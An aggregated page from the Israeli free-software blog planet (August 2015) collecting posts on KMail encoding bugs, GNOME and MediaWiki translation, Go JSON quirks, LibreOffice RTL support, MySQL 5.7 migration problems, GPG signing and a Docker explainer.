פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

31 August, 2015

Boris Shtrasman

KMAIL failure to handle quoted-printable (Answering to GMAIL)

יש פיטצ'ר מדהים בkmail אם מקבלים מייל שקודד כ quoted-printable (כל מי שמשתמש ב gmail) ומבצעים replay כל תו לא אסקי מוצג כ .. qouted printable (במקום "Ã" ייוצג =C3=BC).

מצאתי workaround בבאג שדווח ב 2012 שהוא לבטל שמירה על קידוד מקורי :
kmail settings->composer->charset

הורידו את הוי מתוך  keep orginial charset  וניתן להגיב על ההודעות האלה.

31 August, 2015 10:34 AM

30 August, 2015

Yosef Or Boczko

מצב תרגום GNOME – לקראת 3.18

צהריים טובים.

זכיתי ביום גימלים לכבוד דלקת ריאות, על כן ניצלתי את הזמן לתרגום GNOME. בגדול הספקתי לתרגם הכל, מלבד את gitg.

אחוז התרגום עומד על 82% (37120 מחרוזות מתורגמות, 3326 מעורפלות ו־4675 שאינן מתורגמות), בהשוואה ל־82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) ב־3.16 ו־84% (36629 מחרוזות מתורגמות, 2698 מעורפלות ו־3966 שאינן מתורגמות) ב־3.14.

ניכר שיש עלייה מתמדת במספר המחרוזות המתורגמות, אם כי גם במספר המחרוזות המעורפלות והלא־מתורגמות. אוכל לייחס זאת ליישומים אותם אני לא מתרגם (יישומים ישנים או יישומי פיתוח, שמסיבות אלו ואחרות לא הוצאו מרשימת התרגום הבסיסית).

ניתן לקרוא טיוטת הערות השחרור ל־3.18. אין לי זמן לסקור השינויים בעצמי…

אני מקווה שאצליח להתמיד ולתרגם את GNOME לאורך השירות שלי.

שיר נוסף מאריאל הורוביץ, ותודה לו על כך.

יוסף אור

 

30 August, 2015 01:01 PM

28 August, 2015

ik

דברים מציקים בגו

לאחרונה אני כותב הרבה ב golang מספר actors או workers (אם תרצו) שעושים מספר דברים בצורה מאוד גמישה מצד אחד, ומצד שני מאוד מהירה.
השימוש שלי הוא בכך שאני יכול להריץ הרבה instance של אותו הדבר (בין אם זו אותה מכונה או מכונה נפרדת), לקבל אירועים מ AMQP ולבצע משימה.
עד כאן הכל יפה ונחמד.

הבעיה היא שבשביל שאהיה גמיש, אני מקבל כחלק מהמידע הוראות ב json. כלומר המידע עצמו מכיל כבר הוראות כיצד צריך להתייחס אליו.
ולמימוש הטבעי של golang עבור json יש בעיה "קטנה", בה החליטו כי slice של בתים ישמר כ base64. זה אפילו מתעד.

הסיבה לכך די ברורה, אבל שגויה ביסוד שלה – הם מניחים כי אם אתה שומר slice של בתים, אתה כנראה מנסה לשמור מידע בינארי או שונה ממה שצריך.
רצית רק לשמור סדרה של ערכים, שאף אחד מהם לא יהיה גדול מ255? לא, זה מידע אחר.

אם ההתנהגות הזו היתה זהה למשל ל uint16, אז הייתי אומר "אוקי, כל slice שהוא מספרי, ייחשב כמידע". אבל כאן רק אם זה byte, או uint8 אשר הם למעשה זהים אני אקבל המרה ל base64.

ההחלטה הזו עבור המשתמש מה נכון עבורו היא בעייתית.
בראש ובראשונה כי אני למשל במקרה הזה עובד עם API חיצוני שאני לא שולט בו, והדרישה היא "מערך של מספרים היכולים להיות בין 0 ל255". מן הסתם יש להם משמעות מסויימת, אבל לא בהכרח מה ש go חושב שהיא.

דבר שני, נגיד והיתה לי על כך שליטה. האם אני כמתכנת, לא צריך לשלוט במידע שהוא שומר?
נכון, אין הגדרה בjson למידע בינארי, אבל לא כל סדרה של מספרים היא בהכרח "מידע בינארי". אך עצם ההחלטה עבורי שזה כך, פוגעת בי כמפתח.

הפתרון שאני מצאתי, היה פשוט שה struct יהיה uint16, כלומר שני בתים, למרות שאני צריך לשמור רק בית בודד בכל איבר. וזה מאוד בזבזני, אבל הדרך היחידה שהצלחתי לגרום לזה לתפקד כמו שאני צריך.

אני יודע שיהיו כאלו אשר יבואו ויסבירו כי המחשבים של היום מכילים המון משאבים, ושslice של 16 ביט (כלומר 2 בתים), זה לא כזה סיפור.
אבל למעשה זה חלק מהבעיה – אני מאתחל מידע שאני בהכרח יודע שאין לי צורך בו. זו בזבזנות של משאבים שיכולה ללכת לדברים אחרים.

זה שיש לי למשל 2 פטה בית של RAM, לא אומר שאני צריך לכתוב מערכת שתתפוס את כל הזיכרון. למעשה אם אכתוב מערכת שתתפוס רק את כמות הזיכרון שהיא חייבת ולא מילמטר מעבר, אני לא אגיע למצב שאני צריך 2 פטה בית של זיכרון.

וזה כרגע הדבר הכי מעצבן שמצאתי ב golang. זה לא מונע ממני להמשיך לעבוד, אבל זה בעיני מאוד מעצבן.


תויק תחת:go, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות, תלונות

28 August, 2015 07:30 AM

27 August, 2015

Boris Shtrasman

מפגש של GDG באר שבע בקרוב ....

בחור המקורב למוזילה הזכיר כי לא שומעים על מפגשים וכנסים בזמן האחרון , אז הנה יש מפגש (שאני מאמין שיהיה קשור טיפה לקוד פתוח ) - המידע נטפס באמצעות טסריט ה meetup
DESCRIPTION:We are excited to invite you to a sweet and M-azing event     
GDG Beer Sheva\, Herzeliya\, Tel-Aviv together with Android Academy On September 7th Google is hosting the “Google Next” event\, at the end of this event we will be holding our joint Marshmallow event!    

Schedule :  16:00-17:00  Android Performance - Ran Nachmany(Google)  Support library -Royi Benyossef(Vidmind)  

17:00-18:00  How i failed to make lecture
about "@" - Idan Felix(Varonis)   Android M Demos - Yossi Elkrief(Tikal)  & Nir Hartman(Drippler)  
18:00-19:00  Firebase - Uri Shaked(Watchdox)
Data Binding - Yonatan Levin(Gett) & Leonid Olevsky(MyHeritage)    
17:00 -19:00  We want to help you get your app perMission ready:  During the e vent we will be holding an Android M Test lab\, where you can bring your  apps\, and test them on an Android M device- Elad Gelman(Appmyday)  
Attending this meetup is not suffice to attend the event.  You need to register to the “Google Next”  event. You can (and should :) ) attend the event itself and then continue to our event\, or you can come straight
אז מי אמר אני ולא קיבל ? ואם גם אתם יודעים על מפגשים בעלי קשר לקוד פתוח ותוכנה חופשית יאללה לפרסם.

27 August, 2015 05:37 PM

Lior Kaplan

הכנות לכנס ליברה אופיס 2015

בחודש הבא אני צפוי להשתתף בכנס ליברה אופיס שיתקיים בדנמרק, וזאת לאחר שנתיים שבהן נעדרתי מהפרוייקט (ומהכנסים). בתקופת העדרות הגבתי מידי פעם לשאלות והודעות בחלק מהבאגים, והשתדלתי לתפוס באגים שאחרים לא הגיבו בהם במסגרת ניקיון הבאגים של ליברה אופיס. זאת גם ההזדמנות להודות לכל האנשים שהגיבו בזריזות ובדקו שהבאגים עדיין בתוקף.

כשלב ראשון לחזור קצת לעניינים, העברתי במסגרת Debconf15 הדגמה קצרה (במסגרת ה-Live Demos) על איך נראה ליברה אופיס בממשק מימין לשמאל וטיפה על הבעיות שיש. העיקר ההדגמה  היא להסביר שיישור (alignment) שונה מכיווניות (directionality) ועל הדרך איך להפעיל את יכולות השפות המורכבות (CTL) של ליברה אופיס וקצת על האפשרויות שנוספות כתוצאה מכך.

במהלך הכנס גם גיליתי שאחד האנשים (Jan-Marek) שהיו איתי שעות רבות בדוכן הקבלה/רישום הוא המתחזק של התאימות ל-KDE. ההכרות הזאת הובילה לתיקון של באג #80512. מגניב.

בשלב השני, חזרתי לעקוב באופן יותר פעיל אחרי הבאגים ולעדכן את עמוד המעקב אחרי התיקונים. על פניו נראה שמבחינת התמיכה בשפות מימין לשמאל אין שינויים בגרסאות 4.3 ו-4.4. לא יכול להמנע מהרגשת אשמה לגבי שתי גרסאות אלה, ואני מקווה שאצליח לשנות דברים עבור 5.0 (ששוחררה לפני  כחודש) ו-5.1 (שצפויה לצאת בפברואר 2016). כמו כן, גרסה 5.1 צפויה להכיל כמה תיקונים של Khaled Hosny שצפויים לשפר את כיווניות הכפתורים.

עבור 4.4 המצב כמעט ולא ניתן לשיפור כי יש עוד גרסה תחזוקה אחת, אם כי היא כבר מכילה תיקון אחד (#89381 המאוד מעצבן). אם כי אני בכל זאת אנסה לבקש שחלק מהתיקונים יגיעו גם לגרסה זאת (אם כי הפוקוס הוא העברת התיקונים מ-5.1 ל-5.0).


תויק תחת:Debian GNU/Linux, LibreOffice

27 August, 2015 05:28 PM

Amir Aharoni

Amir Aharoni’s Quasi-Pro Tips for Translating the Software That Powers Wikipedia

As you probably already knew, Wikipedia is a website. A website has content—the articles, and user interface—the menus around the articles and the various screens that let editors edit the articles and communicate to each other.

Another thing that you probably already knew is that Wikipedia is massively multilingual, so both the content and the user interface must be translated.

Translation of articles is a topic for another post. This post is about getting all of the user interface translated to your language, as quickly and efficiently as possible.

The most important piece of software that powers Wikipedia and its sister projects is called MediaWiki. As of today, there are 3,335 messages to translate in MediaWiki. “Messages” in the MediaWiki jargon are strings that are shown in the user interface, and that can be translated. In addition to core MediaWiki, Wikipedia also has dozens of MediaWiki extensions installed, some of them very important—extensions for displaying citations and mathematical formulas, uploading files, receiving notifications, mobile browsing, different editing environments, etc. There are around 3,500 messages to translate in the main extensions, and over 10,000 messages to translate if you want to have all the extensions translated. There are also the Wikipedia mobile apps and additional tools for making automated edits (bots) and monitoring vandalism, with several hundreds of messages each.

Translating all of it probably sounds like an enormous job, and yes, it takes time, but it’s doable.

In February 2011 or so—sorry, I don’t remember the exact date—I completed the translation into Hebrew of all of the messages that are needed for Wikipedia and projects related to it. All. The total, complete, no-excuses, premium Wikipedia experience, in Hebrew. Every single part of the MediaWiki software, extensions and additional tools was translated to Hebrew, and if you were a Hebrew speaker, you didn’t need to know a single English word to use it.

I wasn’t the only one who did this of course. There were plenty of other people who did this before I joined the effort, and plenty of others who helped along the way: Rotem Dan, Ofra Hod, Yaron Shahrabani, Rotem Liss, Or Shapiro, Shani Evenshtein, Inkbug (whose real name I don’t know), and many others. But back then in 2011 it was I who made a conscious effort to get to 100%. It took me quite a few weeks, but I made it.

Of course, the software that powers Wikipedia changes every single day. So the day after the translations statistics got to 100%, they went down to 99%, because new messages to translate were added. But there were just a few of them, and it took me a few minutes to translate them and get back to 100%.

I’ve been doing this almost every day since then, keeping Hebrew at 100%. Sometimes it slips because I am traveling or ill. It slipped for quite a few months because in late 2014 I became a father, and a lot of new messages happened to be added at the same time, but Hebrew is back at 100% now. And I keep doing this.

With the sincere hope that this will be useful for translating the software behind Wikipedia to your language, let me tell you how.

Preparation

First, let’s do some work to set you up.

Priorities, part 1

The translatewiki.net website hosts many projects to translate beyond stuff related to Wikipedia. Among other things it hosts such respectable Free Software projects as OpenStreetMap, Etherpad, MathJax, Blockly, and others. Also, not all the MediaWiki extensions are used on Wikimedia projects; there are plenty of extensions, with many thousands of translatable messages, that are not used by Wikimedia, but only on other sites, but they use translatewiki.net as the platform for translation of their user interface.

It would be nice to translate all of them, but because I don’t have time for that, I have to prioritize.

On my translatewiki.net user page I have a list of direct links to the translation interface of the projects that are the most important:

I usually don’t work on translating other projects unless all of the above projects are 100% translated to Hebrew. I occasionally make an exception for OpenStreetMap or Etherpad, but only if there’s little to translate there and the untranslated MediaWiki-related projects are not very important, for example, they are unlikely to be used by anybody except a few software developers, but I translate those, too.

Priorities, part 2

So how can you know what is important among more than 15,000 messages from the Wikimedia universe?

Start from MediaWiki most important messages. If your language is not at 100% in this list, it absolutely must be. This list is automatically created periodically by counting which 600 or so messages are actually shown most frequently to Wikipedia users. This list includes messages from MediaWiki core and a bunch of extensions, so when you’re done with it, you’ll see that the statistics for several groups improved by themselves.

Now, if the translation of MediaWiki core to your language is not yet at 18%, get it there. Why 18%? Because that’s the threshold for exporting your language to the source code. This is essential for making it possible to use your language in your Wikipedia (or Incubator). It will be quite easy to find short and simple messages to translate (of course, you still have to do it carefully and correctly).

Getting Things Done, One by One

Once you have the most important MediaWiki messages 100% and at least 18% of MediaWiki core is translated to your language, where do you go next?

I have surprising advice.

You need to get everything to 100% eventually. There are several ways to get there. Your mileage may vary, but I’m going to suggest the way that worked for me: Complete the piece that is the easiest to get to 100%! For me this is an easy way to strike an item off my list and feel that I accomplished something.

But still, there are so many items at which you could start looking! So here’s my selection of components that are more user-visible and less technical, sorted not by importance, but by the number of messages to translate:

I put MediaWiki core last intentionally. It’s a very large message group, with over 3000 messages. It’s hard to get it completed quickly, and to be honest, some of its features are not seen very frequently by users who aren’t site administrators or very advanced editors. By all means, do complete it, try to do it as early as possible, and get your friends to help you, but it’s also OK if it takes some time.

Getting All Things Done

OK, so if you translate all the items above, you’ll make Wikipedia in your language mostly usable for most readers and editors.

But let’s go further.

Let’s go further not just for the sake of seeing pure 100% in the statistics everywhere. There’s more.

As I wrote above, the software changes every single day. So do the translatable messages. You need to get your language to 100% not just once; you need to keep doing it continuously.

Once you make the effort of getting to 100%, it will be much easier to keep it there. This means translating some things that are used rarely (but used nevertheless; otherwise they’d be removed). This means investing a few more days or weeks into translating-translating-translating.

But you’ll be able to congratulate yourself on the accomplishments along the way, and on the big accomplishment of getting everything to 100%.

One strategy to accomplish this is translating extension by extension. This means, going to your translatewiki.net language statistics: here’s an example with Albanian, but choose your own. Click “expand” on MediaWiki, then again “expand” on “MediaWiki Extensions”, then on “Extensions used by Wikimedia” and finally, on “Extensions used by Wikimedia – Main”. Similarly to what I described above, find the smaller extensions first and translate them. Once you’re done with all the Main extensions, do all the extensions used by Wikimedia. (Going to all extensions, beyond Extensions used by Wikimedia, helps users of these extensions, but doesn’t help Wikipedia very much.) This strategy can work well if you have several people translating to your language, because it’s easy to divide work by topic.

Another strategy is quietly competing with other languages. Open the statistics for Extensions Used by Wikimedia – Main. Find your language. Now translate as many messages as needed to pass the language above you in the list. Then translate as many messages as needed to pass the next language above you in the list. Repeat until you get to 100%.

For example, here’s an excerpt from the statistics for today:

MediaWiki translation stats exampleLet’s say that you are translating to Malay. You only need to translate eight messages to go up a notch. Then six messages more to go up another notch. And so on.

Once you’re done, you will have translated over 3,400 messages, but it’s much easier to do it in small steps.

Once you get to 100% in the main extensions, do the same with all the Extensions Used by Wikimeda. It’s over 10,000 messages, but the same strategies work.

Good Stuff to Do Along the Way

Never assume that the English message is perfect. Never. Do what you can to improve the English messages.

Developers are people just like you are. They may know their code very well, but they may not be the most brilliant writers. And though some messages are written by professional user experience designers, some are written by the developers themselves. Developers are developers; they are not necessarily very good writers or designers, and the messages that they write in English may not be perfect. Keep in mind that many, many MediaWiki developers are not native English speakers; a lot of them are from Russia, Netherlands, India, Spain, Germany, Norway, China, France and many other countries, and English is foreign to them, and they may make mistakes.

So report problems with the English messages to the translatewiki Support page. (Use the opportunity to help other translators who are asking questions there, if you can.)

Another good thing is to do your best to try running the software that you are translating. If there are thousands of messages that are not translated to your language, then chances are that it’s already deployed in Wikipedia and you can try it. Actually trying to use it will help you translate it better.

Whenever relevant, fix the documentation displayed near the translation area. Strange as it may sound, it is possible that you understand the message better than the developer who wrote it!

Before translating a component, review the messages that were already translated. It’s useful for learning the current terminology, and you can also improve them and make them more consistent.

After you gain some experience, create a localization guide in your language. There are very few of them, and there should be more. Here’s the localization guide for French, for example. Create your own with the title “Localisation guidelines/xyz” where “xyz” is your language code.

As in Wikipedia, Be Bold.

OK, So I Got to 100%, What Now?

Well done and congratulations.

Now check the statistics for your language every day. I can’t emphasize how important it is to do this every day.

The way I do this is having a list of links on my translatewiki.net user page. I click them every day, and if there’s anything new to translate, I immediately translate it. Usually there is just a small number of new messages to translate; I didn’t measure, but usually it’s less than 20. Quite often you won’t have to translate from scratch, but to update the translation of a message that changed in English, which is usually even faster.

But what if you suddenly see 200 new messages to translate? It happens occasionally. Maybe several times a year, when a major new feature is added or an existing feature is changed.

Basically, handle it the same way you got to 100% before: step by step, part by part, day by day, week by week, notch by notch, and get back to 100%.

But you can also try to anticipate it. Follow the discussions about new features, check out new extensions that appear before they are added to the Extensions Used by Wikimedia group, consider translating them when you have a few spare minutes. At the worst case, they will never be used by Wikimedia, but they may be used by somebody else who speaks your language, and your translations will definitely feed the translation memory database that helps you and other people translate more efficiently and easily.

Consider also translating other useful projects: OpenStreetMap, Etherpad, Blockly, Encyclopedia of Life, etc. The same techniques apply everywhere.

What Do I Get for Doing All This Work?

The knowledge that thanks to you people who speak your language can use Wikipedia without having to learn English. Awesome, isn’t it?

Oh, and enormous experience with software localization, which is a rather useful job skill these days.

Is There Any Other Way in Which I Can Help?

Yes!

If you find this post useful, please translate it to other languages and publish it in your blog. No copyright restrictions, public domain (but it would be nice if you credit me). Make any adaptations you need for your language. It took me years of experience to learn all of this, and it took me about four hours to write it. Translating it will take you much less than four hours, and it will help people be more efficient translators.


Filed under: Free Software, localization, Wikipedia

27 August, 2015 01:05 PM

23 August, 2015

Lior Kaplan

Debconf15 – יום חמישי

היום החמישי של הכנס הוקדש ליום טיול, כך שבאופן ברור כלל הרבה פחות פעילות על דביאן, אך מצד שני מאוד נחמד לשנות אווירה וגם להתערבב קצת עם אנשים בלי ההקשר הטכני. כשחיכינו לאוטובוסים בדרך חזרה ישבנו על הדשא לנוח קצת. מה עושים אנשי תוכנה חופשית כשיש קצת זמן להרוג? מחליפים דרכונים כדי לוודא פרטי עבור חתימה על מפתחות הצפנה. שלא לדבר על זה שיש לאנשים תמונות ופרטים מאוד משעשעים בתעודות הרשמיות.

את הערב ניצלתי כדי לעבוד קצת על התרגום של תוכנית ההתקנה של דביאן. שלב 3 דרש תיקון קל, ואת המצב של שלב 1 שיפרתי מל-98%. אשמח לעזרה כדי לסיים את התרגום (ואולי גם לתחזק אותו).

בזמן שעבדתי על התרגום, ישבתי בלובי/בר, ומידי פעם אנשים באו לדבר או רצו להחליף חתימות על מפתחות הצפנה (או שניהם). אחד מהאנשים ראה שאני מישראל ושאל אותי אם אני מכיר את X. אומנם ישראל מקום קטן אבל להכיר את כולם על בסיס שם פרטי זה קצת יותר מידי. כשהוא התחיל להגיד שהוא איש קוד פתוח, המעגל נסגר דיי מהר ואני אכן מכיר אותו (ברמת מה הוא עושה ואיפה הוא עובד).

הוא סיפר לי כי הוא תרם קוד לפרוייקט שאותו בחור עבד עליו, כאשר הרישיון של הפרוייקט הוא GPL 2+. לאחר איזה תקופה, ביקשו מכולם לאשר שינוי רישיון ל-BSD (או משהו מהמשפחה) כי אחד המפתחים ביקש. הוא אמר שהוא מבין הבודדים שסירב.

ניסיתי להבין ממנו למה ביקשו לשנות את הרישיון, אולי רצו לעודד אימוץ של הקוד ע"י יותר חברות לדוגמה. הוא סיפר שבאותו זמן לא נתנו יותר מידי פרטים, אבל בדיעבד הסתבר שמישהו פתח סטרטאפ על בסיס הקוד הזה והרישיון עשה לו בעיות מהצד העסקי ופשוט ביקשו לשנות למשהו מתירני כדי שאותה חברה תוכל לקחת את הקוד בלי הבעיות המשפטיות. אז הוא פנה לאחד מהפתחים, שפשוט ביקש מכולם להסכים לזה. לא נעים. בטח לא כאשר הדברים מתגלים בדיעבד ולא מראש.


תויק תחת:Debian GNU/Linux

23 August, 2015 08:37 PM

19 August, 2015

Shlomi Noach

Baffling 5.7 global/status variables issues, unclean migration path

MySQL 5.7 introduces a change in the way we query for global variables and status variables: the INFORMATION_SCHEMA.(GLOBAL|SESSION)_(VARIABLES|STATUS) tables are now deprecated and empty. Instead, we are to use the respective performance_schema.(global|session)_(variables|status) tables.

But the change goes farther than that; there is also a security change. Oracle created a pitfall of 2 changes at the same time:

  1. Variables/status moved to a different table
  2. Privileges required on said table

As an example, my non-root user gets:

mysql> show session variables like 'tx_isolation';
ERROR 1142 (42000): SELECT command denied to user 'normal_user'@'my_host' for table 'session_variables'

Who gets affected by this? Nearly everyone and everything.

The problem with the above is that involves two unrelated changes to your setup, which are not entirely simple to coordinate:

  1. Change your app code to choose the correct schema (information_schema vs. performance_schema)
  2. GRANT the permissions on your database

Perhaps at this point you still do not consider this to be a problem. You may be thinking: well, let's first prepare by creating the GRANTs, and once that is in place, we can, at our leisure, modify the code.

Not so fast. Can you really that simply create those GRANTs?

Migration woes

How do you migrate to a new MySQL version? You do not reinstall all your servers. You want an easy migration path, and that path is: introduce one or two slaves of a newer version, see that everything works to your satisfaction, slowly upgrade all your other slaves, eventually switchover/upgrade your master.

This should not be any different for 5.7. We would like to provision a 5.7 slave in our topologies and just see that everything works. Well, we have, and things don't just work. Our Nagios stops working for that 5.7 slave. Orchestrator started complaining (by this time I've already fixed it to be more tolerant for the 5.7 problems so no crashes here).

I hope you see the problem by now.

You cannot issue a GRANT SELECT ON performance_schema.global_variables TO '...' on your 5.6 master.

The table simply does not exist there, which means the statement will not go to binary logs, which means it will not replicate on your 5.7 slave, which means you will not be able to SHOW GLOBAL VARIABLES on your slave, which means everything remains broken.

Yes, you can issue this directly on your 5.7 slaves. It's doable, but undesired. It's ugly in terms of automation (and will quite possibly break some assumptions and sanity checks your automation uses); in terms of validity testing. It's unfriendly to GTID (make sure to SET SQL_LOG_BIN=0 before that).

WHY in the first place?

It seems like a security thing. I'm not sure whether this was intended. So you prevent a SHOW GLOBAL VARIABLES for a normal user. Makes sense. And yet:

mysql> show global variables like 'hostname';
ERROR 1142 (42000): SELECT command denied to user 'normal_user'@'my_host' for table 'global_variables'

mysql> select @@global.hostname;
+---------------------+
| @@global.hostname   |
+---------------------+
| myhost.mydomain.com |
+---------------------+

mysql> select @@version;
+--------------+
| @@version    |
+--------------+
| 5.7.8-rc-log |
+--------------+

Seems like I'm allowed access to that info after all. So it's not strictly a security design decision. For status variable, I admit, I don't have a similar workaround.

Solutions?

The following are meant to be solutions, but do not really solve the problem:

Suggestion

I claim security is not the issue, as presented above. I claim Oracle will yet again fall into the trap of no-easy-way-to-migrate-to-GTID in 5.6 if the current solution is unchanged. I claim that there have been too many changes at once. Therefore, I suggest one of the alternative two flows:

  1. Flow 1: keep information_schema, later migration into performance_schema
    • In 5.7information_schema tables should still produce the data.
    • No security constraints on information_schema
    • Generate WARNINGs on reading from information_schema ("...this will be deprecated...")
    • performance_schema also available. With security constraints, whatever.
    • In 5.8 remove information_schema tables; we are left with performance_schema only.
  2. Flow 2: easy migration into performance_schema:
    • In 5.7, performance_schema tables should not require any special privileges. Any user can read from them.
    • Keep show_compatibility_56 as it is.
    • SHOW commands choose between information_schema or performance_schema on their own -- just as things are done now.
    • In 5.8performance_schema tables will require SELECT privileges.

As always, I love the work done by the engineers; and I love how they listen to the community.

Comments are most welcome. Have I missed the simple solution here? Are there even more complications to these features? Thoughts on my suggested two flows?

[UPDATE 2015-08-19]

Please see this followup by Morgan Tocker of Oracle.

19 August, 2015 08:00 AM

18 August, 2015

Lior Kaplan

Overdue GPG signing

In the last few years I wasn’t really maintaining my GPG keys. I’ve created a new one (B4E14499) in 2011 during DebConf11, after the older primary one (99E81DA0) became too weak (1024D). I thought that I didn’t have enough signatures on the new key and almost lost my place on the debian keyring due to removal on the old one (without adding the new key).

Due to my confusion with the key signature, I didn’t really take the time to sign other people keys. But that doesn’t mean I ignored them completely, as I kept all the information from Debconf11 (yes, 4 years ago) and also the slips I was handed since.

Today, I finally took the time to finish the backlog and sign all the keys which are strong enough and still valid (haven’t expired / revoked). One less item on the todo list.

For those who got my signatures – I’m sorry for the delay, but better later than never, right ?


Filed under: Debian GNU/Linux Tagged: gpg

Full text

18 August, 2015 11:23 PM

17 August, 2015

Oz Nahum

AJAX with bottle.py

A working example of AJAX with JQuery and Bottle ... continue reading...

17 August, 2015 03:52 PM

16 August, 2015

Ram on Agmon

מה זה docker ולמה זה מגניב לאללה

בזמן האחרון, יש הרבה מאוד דיבורים על docker, אך לעיתים, קשה להבין מה בדיוק היתרונות של הטכנולוגיה ומה היתרונות שהיא מביאה עימה. docker היא עוד דוגמא בה טכנולוגיה חופשית לא רק מציגה פתרון חדשני הנותן מענה לבעיות מורכבות, אלא גם דוגמא למהירות המסחררת שבו טכנולוגיה שכזו כובשת לה שוק. הפרויקט הוא בן שנתיים לערך, ואין כמעט חברה שלא מגלה בו עניין. כל ענקי הטכנולוגיה לוקחים בו חלק. ונראה שהוא אפילו תרם להצהרה של מיקרוסופט "Microsoft love Linux"

דוקר היא דרך לארוז אפליקציות. האפליקציה נארזת כשהיא מבודדת מהמערכת המארחת, והיא מקבלת כתובת רשת ייחודית המאפשרת לגשת אליה. האפיקלקציה נארזת עם גירסה מאוד רזה של מערכת ההפעלה. אם מערכת הפעלה רגילה כוללת ספריות רבות לניהול החומרה, הרי במקרה של docker, זו מערכת הפעלה רזה מאוד, הכוללת רק את הרכיבים ההכרחים לפעולה תחת מערכת מארחת. בשל אופן העבודה הזו, היעילות של המערכת מאוד גבוהה. למעשה, קיים אובד ביצועים כמעט זניח של 3%.

טכנולוגיית סמי וירטואלוזיציה שכזו קיימות כבר זמן רב. בסולריס, קראו לזה zones ואילו בלינוקס, כבר שנים שאפשר לעבוד עם containers. אבל מה שדוקר הביא, הוא נוחות המאפשרת גמישות מאוד גבוהה ושיפור משמעותי ביכולת לנהל כמויות גדולות של אפליקציות.

כיום, עבור חלק נכבד מחברות הטנכולוגיה, הענן מאפשר שידרוג של מערכות הייצור. אם בעבר, עוצמת מערכות הייצור הייתה מוגבלת לכמות הברזלים הנמצאים במרכז המידע, כיום, ניתן באופן אוטומטי להרחיב את מערכות הייצור בהתאם לצרכים. אם יש יותר תנועה לאתר, ניתן להזניק במהירות יחסית גבוהה עוד מכונות ולספק את הביקוש. יחד עם זה, הזנקה של מכונה היא פעולה הלוקחת זמן מה. לעיתים, אף רבע שעה עד המערכת עולה ומגדירה את עצמה. בנוסף לכך, יש גם להגדיר, לשדרג ולנטר צבירים גדולים של מכונות.

ישנם כלים רבים שנועדו לבצע את משימת הניטור וההגדרות מעבר למה שמאפשרים ספקי הענן השונים. ansible, chef, docker הם רק חלק מהכלים הללו. שימוש בדוקר, עשוי להקל הן על הזנקה של מכונות חדשות והן על הניהול שלהן.

היתרונות שדוקר מביא הן:

כלי הגדרה פשוט לייצרת image של המערכת. קובץ ההגדרה של דוקר מאוד פשוט להגדרה. הגדרה של מערכת יכולה לכלול הורדה של כלי תצורה כגון capisrano או ansible, והגדרות ספציפיות לאפליקציה (באמצעות משתנה סביבה, למשל). לאחר שנוצר ה- image ניתן להעלות אותו אל מאגר (repoistory) ומשם להוריד אותו אל מערכות הייצור. אם בעבר, היינו צריכים לגשת לכל מכונה ולבצע את ההגדרות, הרי עכשיו מעלים את האפליקציה "הארוזה". כל מה שנשאר, זה להוריד את הקבצים העדכניים אל המכונות ולהפעיל אותם.

יחד עם זה, צורת האריזה הזו מחייבת שינוי במבנה של אפליקציות. כי מערכות docker הן readonly. ז"א, מידע לא אמור להישמר על המכונות.

נניח, שאנחנו רוצים להחזיק עבור המתפתחים מערכת לניהול באגים וטיקטים, כגון jira. מערכת זו, דורשת מידי פעם משאבים (למשל בחיפוש) אבל רוב הזמן, כמעט לא דורשת משאבים. ניתן לשמור אותה במכונה יעודית, אבל אז התשלום בענן יתבצע כל הזמן, גם כאשר המערכת לא עובדת, וגם מחוץ לשעות העבודה. מאידך, ניתן לארוז את המערכת ב- docker על מכונה חזקה, המבצעת עוד פעולות. רק באותם רגעים שיש צורך במשאבים, היא תקבל אותם, כי המשאבים של המכונה משותפים. ניתן לעשות זאת גם באמצעות מערכות קלאסיות של וירטואליזיצה, אך הן מוגבלות לעבודה על ברזלים. docker עובד גם תחת מכונות וירטואליות, מה שמאפשר לבצע את המשחקים הללו על מכונות בענן.

כאשר בודקים את המשאבים מהזווית של המכונה המארחת, לכל אחד מהדוקרים יש גישה אל כל הזכרון. לינוקס עושה שימוש בטכנולוגיה של shared memory. כך שאם יש קטעי זכרון זהים, הם יהיו משותפים לכל המכונות.

במכונות לינוקס, כאשר מעלים, לדוגמא, מספר מופעים של אפליקציית java, למשל tomcat, שכל אחד מהם לוקח 1gb של זכרון, הרי הצריכה הכללית לא תהיה 10Gb אלא עשויה להיות הרבה פחות, מה שמבטיח יעילות שימוש בחשמל וגם חסכון ניכר בעלויות השימוש בזכרון. אך במקרה של docker, מאחר שהמכונות לא שומרות מידע, מקבלים הלכה למעשה מספר מופעים של אותה אפליקציה, העושים שימוש באותו זכרון, אך מספקים שירות בנפרד.

כמו כן, ניתן לראות את כל התהליכים הרצים בכל מכונות מתוך המכונה המאחרת, זאת בניגוד למערכות וירטואליזציה קלאסית בהן מתוך המכונה המארחת רואים רק תהליך אחד.

יחד עם זה, docker מחייב תכנון שונה של האפליקציות, כי docker הוא stateless. הוא לא שומר מידע עליו. לכן, יש לשמור את כל המידע של המכונה מחוץ למכונה, למשל, בבסיס נתונים או במחיצה משותפת.

ניתן לראות ב- docker מעין נגזרת של git אך במקום לאחסן קוד, מאחסנים אפליקציות. כאשר מבצעים שינוי ב- image, מה שעולה אל ה- repository הוא רק ההבדלים. כך שמובטחת יעילות גבוהה, ובנוסף, ניתן לחזור בקלות אל גירסה קודמת (rollback).

מאידך, ל- docker יש כמה מגבלות. אחד העיקריות, היא נושא האבטחה. קיימים חורי אבטחה המאפשרים לאפליקציה לחרוג ממרחב הפעולה שלה ולהשפיע על אפליקציות אחרות.

אך הבעיה העיקרית היא ניהול הרשתות. אנחנו מעוניניים לדעת בדיוק אילו docker הוזנקו ולהפנות אליהם תעבורה. המרוץ לבניית מערכת התשתית שתיתן פתרון מלא לניהול הנושא נמצא בעיצומו, אך נכון לרגע זה ועד כמה שיודע לי, אין עדיין אף מערכת הנותנת פתרון מלא. אני משער שזה עניין של זמן, ולא הרבה. (גוגל ואחרים לוקחים חלק במירוץ). חברות כמו google מדווחות על הזנקה של מאות אלפי dockers כל יום.

